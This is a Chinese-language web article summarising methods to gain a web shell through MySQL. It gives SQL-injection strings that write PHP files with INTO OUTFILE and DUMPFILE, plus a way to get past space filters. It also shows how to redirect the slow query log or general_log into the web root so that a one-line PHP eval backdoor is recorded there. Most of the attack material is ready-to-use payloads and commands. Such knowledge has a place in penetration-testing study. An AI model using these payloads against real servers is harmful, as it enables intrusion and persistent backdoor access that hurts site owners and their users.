mysql数据库中getshell的方式总结

mysql数据库中getshell的方式总结

MySQL版本大于5.0,MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL,下面这篇文章主要给大家介绍了关于mysql数据库中getshell的方式,需要的朋友可以参考下

outfile和dumpfile写shell

利用条件

复制代码
    数据库当前用户为root权限;
    知道当前网站的绝对路径;
    PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie)
    写入的那个路径存在写入权限。

基于union联合查询:

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\phpstudy\www\shell.php'%23

?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\phpstudy\www\shell.php'%23

非联合查询

当我们无法使用联合查询时,我们可以使用fields terminated by与lines terminated by来写shell

?id=1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

+号,%0a、%0b、%a0 、 /**/ 注释符等

outfile和dumpfile的区别

outfile:

复制代码
1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

复制代码
1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠

3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;

当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)

当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数

secure_file_prive

MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。

复制代码
secure_file_prive= ,结果为空的话,表示允许任何文件读写

secure_file_prive=NULL,表示不允许任何文件读写

secure_file_prive='某个路径',表示这个路径作为文件读写的路径

在mysql5.5版本前,都是默认为空,允许读取

在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询secure_file_prive的参数

show global variables like "%secure%"

利用sql语句修改参数

set global secure_file_prive=

但是5.6后不能利用sql修改了,所以只能利用配置修改

复制代码
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

日志getshell

慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'

show global variables like '%long%'

查看慢日志参数

show global variables like '%slow%'

对慢日志参数进行修改

set global slow_query_log=1 #打开慢日志

set global slow_query_log_file='c:\phpstudy\www\test.php'#慢日志的路径

注意:一定要用双反斜杠

SELECT '<?php @eval($_POST1);?>' or sleep(11)

这儿11是超过慢日志的10秒时间

利用general_log

利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来。

相关参数一共有3个:general_log、log_output、general_log_file

show variables like 'general_log'; -- 查看日志是否开启

set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; -- 看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置

show variables like 'log_output'; -- 看看日志输出类型 table或file

set global log_output='table'; -- 设置输出类型为 table

set global log_output='file'; -- 设置输出类型为file

一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

getshell

set global general_log=on

set global general_log_file='需要攻击的路径'

select '<?php eval($_POSTcmd);?>'

这样就将一句话木马记录到general_log中,从而getshell

binlog的介绍

https://www.jb51.net/article/254968.htm

相关推荐
Chengbei116 小时前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构
夜雪一千8 小时前
MySQL 全局锁是什么?原理、风险、备份踩坑完整实战
android·mysql·adb
程序员夏洛13 小时前
MySQL 中 count(*)、count(1) 和 count(字段名) 有什么区别?
数据库·mysql
Latticy13 小时前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
l12586514 小时前
# RAG向量数据库优化实战:HNSW索引调参与生产级性能设计
数据库·python·mysql·langchain
梦Arrebol14 小时前
Mysql内容及相关实验
数据库·mysql
OceanWaves199314 小时前
mysql 8.0.32 磁盘爆满,清理从库日志
数据库·mysql
霸道流氓气质16 小时前
MySQL 大表 DDL 变更 — 原理、方案与实践
android·数据库·mysql
JavaPub-rodert17 小时前
Go 后台如何同时兼容 MySQL、PostgreSQL、SQLite 和 SQL Server?从 ShiyuAdmin 看 GORM 多数据库适配
数据库·mysql·postgresql·golang·javapub·王仕宇
白猫不黑17 小时前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术